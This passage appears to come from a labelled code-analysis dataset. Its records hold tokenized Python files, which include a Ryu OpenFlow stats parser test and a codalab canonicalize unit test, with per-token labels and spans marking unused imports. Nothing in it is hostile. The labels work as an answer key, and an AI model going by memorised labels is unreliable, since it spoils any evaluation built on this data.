"\\u\\u\\uNL\\u\\u\\u_", "#", " ", "usi", "ng", " ", "a", " ", "list", " ", "value", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "[_", "0_", ",_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "[_", "0x12", "3456", "78_", ",_", "0x23", "4567", "89_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "[_", "0xffffffff_", ",_", "0xfff", "fff", "fe_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Int8_", "(_", "Field_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "generate_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "0x12", "3456", "789", "abcde", "f0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "0xfff", "ffffffffff", "fff", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Mac", "_", "(_", "Field_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "generate_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "'", "00", ":", "00", ":", "00", ":", "00", ":", "00", ":", "00", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "'", "f2", ":", "0b", ":", "a4", ":", "7d", ":", "f8", ":", "ea", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "'", "ff", ":", "ff", ":", "ff", ":", "ff", ":", "ff", ":", "ff", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "IP", "v4_", "(_", "Field_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "generate_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "'", "0.", "0.", "0.", "0", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "'", "192", ".0", ".2", ".1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "'", "255.", "255.", "255.", "255", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "IP", "v6_", "(_", "Field_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "generate_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "'::'", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "'", "fe", "80", "::", "f0", "0b", ":", "a4", "ff", ":", "fed", "0", ":", "3f", "7", "0", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "'", "fff", "f", ":", "fff", "f", ":", "fff", "f", ":", "fff", "f", ":", "fff", "f", ":", "fff", "f", ":", "fff", "f", ":", "fff", "f", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "B6", "4_", "(_", "Field_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "generate_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "'", "a", "G", "9", "n", "ZW", "hv", "Z2", "U", "='_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "'", "Z", "n", "Vn", "Y", "WZ", "1", "Z2", "E", "='_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ofp", "ps_", "=_", "[_", "ofproto", "\\u", "v1", "\\u", "5", "\\u", "parser_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "common_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "duration", "'_", ",_", "Int", "4d", "ou", "ble_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "idle", "\\u", "time", "'_", ",_", "Int", "4d", "ou", "ble_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "flow", "\\u", "count", "'_", ",_", "Int", "4_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "packet", "\\u", "count", "'_", ",_", "Int8_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "byte", "\\u", "count", "'_", ",_", "Int8_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "field", "\\u", "100", "'_", ",_", "B6", "4_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "L_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "L_", "[_", "ofproto", "\\u", "v1", "\\u", "5", "\\u", "parser_", "]_", "=_", "common_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "flat", "ten", "\\u", "one_", "(_", "l_", ",_", "i_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "i_", ",_", "tuple_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "l_", "+_", "flatten_", "(_", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "l_", "+_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "flatten_", "=_", "lambda_", "l_", ":_", "reduce_", "(_", "flat", "ten", "\\u", "one_", ",_", "l_", ",_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "ofp", "p_", "in_", "ofp", "ps_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "n_", "in_", "range_", "(_", "1_", ",_", "3_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "C_", "in_", "itertools_", "._", "combinations_", "(_", "L_", "[_", "ofp", "p_", "]_", ",_", "n_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "l_", "=_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "keys_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cls", "s_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "(_", "k_", ",_", "cls_", ")_", "in_", "C_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "l_", "=_", "itertools_", "._", "product_", "(_", "l_", ",_", "cls_", "._", "generate_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "keys_", "._", "append_", "(_", "k_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cls", "s_", "._", "append_", "(_", "cls_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "l_", "=_", "[_", "flatten_", "(_", "x_", ")_", "[_", "1_", ":_", "]_", "for_", "x_", "in_", "l_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "values_", "in_", "l_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "d_", "=_", "dict_", "(_", "zip_", "(_", "keys_", ",_", "values_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "n_", ",_", "uv_", "in_", "d_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "isinstance_", "(_", "uv_", ",_", "list_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "XX", "X_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "OFP", "Stat", "s", " ", "return", "s", " ", "value", " ", "as", " ", "tuple", " ", "whe", "n", " ", "field", " ", "is_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "'", "duration", "'", " ", "or", " ", "'", "idle", "\\u", "time", "'.", " ", "The", "n", " ", "convert", " ", "list_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "value", " ", "int", "o", " ", "tuple", " ", "here", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "d_", "[_", "n_", "]_", "=_", "tuple_", "(_", "uv_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "mod_", "=_", "ofp", "p_", "._", "\\u\\u", "name\\u\\u_", "._", "split_", "(_", "'.'_", ")_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "method", "\\u", "name_", "=_", "'", "test\\u", "'_", "+_", "mod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "k_", "in_", "sorted_", "(_", "dict_", "(_", "d_", ")_", "._", "keys_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "method", "\\u", "name_", "+=_", "'\\u'_", "+_", "str_", "(_", "k_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "method", "\\u", "name_", "+=_", "'\\u'_", "+_", "str_", "(_", "d_", "[_", "k_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "method", "\\u", "name_", "=_", "method", "\\u", "name_", "._", "replace_", "(_", "':'_", ",_", "'\\u'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "method", "\\u", "name_", "=_", "method", "\\u", "name_", "._", "replace_", "(_", "'.'_", ",_", "'\\u'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "method", "\\u", "name_", "=_", "method", "\\u", "name_", "._", "replace_", "(_", "'('_", ",_", "'\\u'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "method", "\\u", "name_", "=_", "method", "\\u", "name_", "._", "replace_", "(_", "')'_", ",_", "'\\u'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "method", "\\u", "name_", "=_", "method", "\\u", "name_", "._", "replace_", "(_", "','_", ",_", "'\\u'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "method", "\\u", "name_", "=_", "method", "\\u", "name_", "._", "replace_", "(_", "\"'\"_", ",_", "'\\u'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "method", "\\u", "name_", "=_", "method", "\\u", "name_", "._", "replace_", "(_", "'", " ", "'_", ",_", "'\\u'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "run_", "(_", "self_", ",_", "name_", ",_", "ofp", "p_", ",_", "d_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "(_", "'", "process", "ing", " ", "%", "s", " ", "...'_", "%_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "six_", "._", "PY", "3_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "self_", "._", "\\u", "test_", "(_", "self_", ",_", "name_", ",_", "ofp", "p_", ",_", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "self_", "._", "\\u", "test_", "(_", "name_", ",_", "ofp", "p_", ",_", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "(_", "'", "addin", "g", " ", "%", "s", " ", "...'_", "%_", "method", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "functools_", "._", "partial_", "(_", "\\u", "run_", ",_", "name_", "=_", "method", "\\u", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ofp", "p_", "=_", "ofp", "p_", ",_", "d_", "=_", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test\\u", "lib_", "._", "add", "\\u", "method_", "(_", "Test", "\\u", "Parser", "\\u", "OFP", "Stats_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "method", "\\u", "name_", ",_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
codalab/codalab-cli/tests/lib/canonicalize_test.py
[ { "content": "import mock\nimport os\nimport unittest\n\nfrom codalab.common import (\n State,\n UsageError,\n)\nfrom codalab.lib import (\n canonicalize,\n spec_util,\n)\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class CanonicalizeTest(unittest.TestCase):", "metadata": "root.CanonicalizeTest", "header": "['module', '___EOS___']", "index": 14 }, { "content": " def test_get_bundle_uuid(self):\n tester = self\n\n worksheet_uuid = '0x12345'\n missing_name = 'missing_name'\n unique_name = 'unique_name'\n ambiguous_name = 'ambiguous_name'\n bundle_counts = {\n missing_name: 0,\n unique_name: 1,\n ambiguous_name: 2,\n }\n test_uuids = ['test_uuid_0', 'test_uuid_1', 'test_uuid_2']\n test_uuid = test_uuids[0]\n\n class MockBundleModel(object):\n def get_bundle_uuids(self, conditions, max_results, count=False):\n tester.assertEqual(set(conditions), set(['name', 'user_id', 'worksheet_uuid']))\n name = conditions['name'].replace('%', '')\n tester.assertIn(name, bundle_counts)\n count = bundle_counts[name]\n return [\n test_uuids[i]\n for i in range(count)\n ]\n model = MockBundleModel()\n user_id = None\n\n # Test that get_bundle_uuid is idempotent on generated uuids.\n uuid = spec_util.generate_uuid()\n self.assertEqual(uuid, canonicalize.get_bundle_uuid(model, user_id, worksheet_uuid, uuid))\n # Test that get_bundle_uuid returns the uuid of a uniquely named bundle.\n self.assertEqual(test_uuid, canonicalize.get_bundle_uuid(model, user_id, worksheet_uuid, unique_name))\n # Test that get_bundle_uuid raises UsageErrors on missing names.\n self.assertRaises(\n UsageError,\n lambda: canonicalize.get_bundle_uuid(model, user_id, worksheet_uuid, missing_name),\n )\n # Test that get_bundle_uuid raises UsageError on specs that can be neither a\n # name or a uuid.\n self.assertRaises(\n UsageError,\n lambda: canonicalize.get_bundle_uuid(model, user_id, worksheet_uuid, 'names have no exclamations!'),\n )", "metadata": "root.CanonicalizeTest.test_get_bundle_uuid", "header": "['class', 'CanonicalizeTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 15 } ]
[ { "span": "import mock", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 11 }, { "span": "import os", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 9 }, { "span": "from codalab.common import (\n State,\n UsageError,\n)", "start_line": 4, "start_column": 0, "end_line": 7, "end_column": 1 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "mock_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "cod", "ala", "b_", "._", "common_", "import_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "State_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Us", "age", "Error_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "cod", "ala", "b_", "._", "lib_", "import_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "canonicaliz", "e_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "spec", "\\u", "util_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Canonical", "ize", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Canonical", "ize", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "get", "\\u", "bundle", "\\u", "uuid_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tester_", "=_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "worksheet", "\\u", "uuid_", "=_", "'", "0x12", "345", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "missi", "ng", "\\u", "name_", "=_", "'", "missi", "ng", "\\u", "name", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "unique", "\\u", "name_", "=_", "'", "unique", "\\u", "name", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ambiguous", "\\u", "name_", "=_", "'", "ambiguous", "\\u", "name", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bundle", "\\u", "counts_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "missi", "ng", "\\u", "name_", ":_", "0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "unique", "\\u", "name_", ":_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ambiguous", "\\u", "name_", ":_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test\\u", "uuids_", "=_", "[_", "'", "test\\u", "uuid", "\\u", "0", "'_", ",_", "'", "test\\u", "uuid", "\\u", "1", "'_", ",_", "'", "test\\u", "uuid", "\\u", "2", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test\\u", "uuid_", "=_", "test\\u", "uuids_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Moc", "k", "Bun", "dle", "Model_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "get", "\\u", "bundle", "\\u", "uuids_", "(_", "self_", ",_", "conditions_", ",_", "max", "\\u", "results_", ",_", "count_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tester_", "._", "assert", "Equal_", "(_", "set_", "(_", "conditions_", ")_", ",_", "set_", "(_", "[_", "'", "name", "'_", ",_", "'", "user", "\\u", "id", "'_", ",_", "'", "worksheet", "\\u", "uuid", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "name_", "=_", "conditions_", "[_", "'", "name", "'_", "]_", "._", "replace_", "(_", "'%'_", ",_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tester_", "._", "assert", "In_", "(_", "name_", ",_", "bundle", "\\u", "counts_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "count_", "=_", "bundle", "\\u", "counts_", "[_", "name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "test\\u", "uuids_", "[_", "i_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "count_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "model_", "=_", "Moc", "k", "Bun", "dle", "Model_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "\\u", "id_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "tha", "t", " ", "get", "\\u", "bundle", "\\u", "uuid", " ", "is", " ", "idempotent", " ", "on", " ", "generat", "ed", " ", "uuids", "._", "\\u\\u\\uNL\\u\\u\\u_", "uuid_", "=_", "spec", "\\u", "util_", "._", "generat", "e\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "uuid_", ",_", "canonicaliz", "e_", "._", "get", "\\u", "bundle", "\\u", "uuid_", "(_", "model_", ",_", "user", "\\u", "id_", ",_", "worksheet", "\\u", "uuid_", ",_", "uuid_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Test", " ", "tha", "t", " ", "get", "\\u", "bundle", "\\u", "uuid", " ", "return", "s", " ", "the", " ", "uuid", " ", "of", " ", "a", " ", "unique", "ly", " ", "named", " ", "bundle", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "test\\u", "uuid_", ",_", "canonicaliz", "e_", "._", "get", "\\u", "bundle", "\\u", "uuid_", "(_", "model_", ",_", "user", "\\u", "id_", ",_", "worksheet", "\\u", "uuid_", ",_", "unique", "\\u", "name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Test", " ", "tha", "t", " ", "get", "\\u", "bundle", "\\u", "uuid", " ", "raise", "s", " ", "Us", "age", "Error", "s", " ", "on", " ", "missi", "ng", " ", "names", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Us", "age", "Error_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "lambda_", ":_", "canonicaliz", "e_", "._", "get", "\\u", "bundle", "\\u", "uuid_", "(_", "model_", ",_", "user", "\\u", "id_", ",_", "worksheet", "\\u", "uuid_", ",_", "missi", "ng", "\\u", "name_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Test", " ", "tha", "t", " ", "get", "\\u", "bundle", "\\u", "uuid", " ", "raise", "s", " ", "Us", "age", "Error", " ", "on", " ", "spec", "s", " ", "tha", "t", " ", "can", " ", "be", " ", "nei", "ther", " ", "a_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "name", " ", "or", " ", "a", " ", "uuid", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Us", "age", "Error_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "lambda_", ":_", "canonicaliz", "e_", "._", "get", "\\u", "bundle", "\\u", "uuid_", "(_", "model_", ",_", "user", "\\u", "id_", ",_", "worksheet", "\\u", "uuid_", ",_", "'", "names", " ", "have", " ", "no", " ", "excl", "amat", "ion", "s", "!'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 2, 0, 1, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
datastax/cstar_perf/frontend/cstar_perf/frontend/server/controllers.py
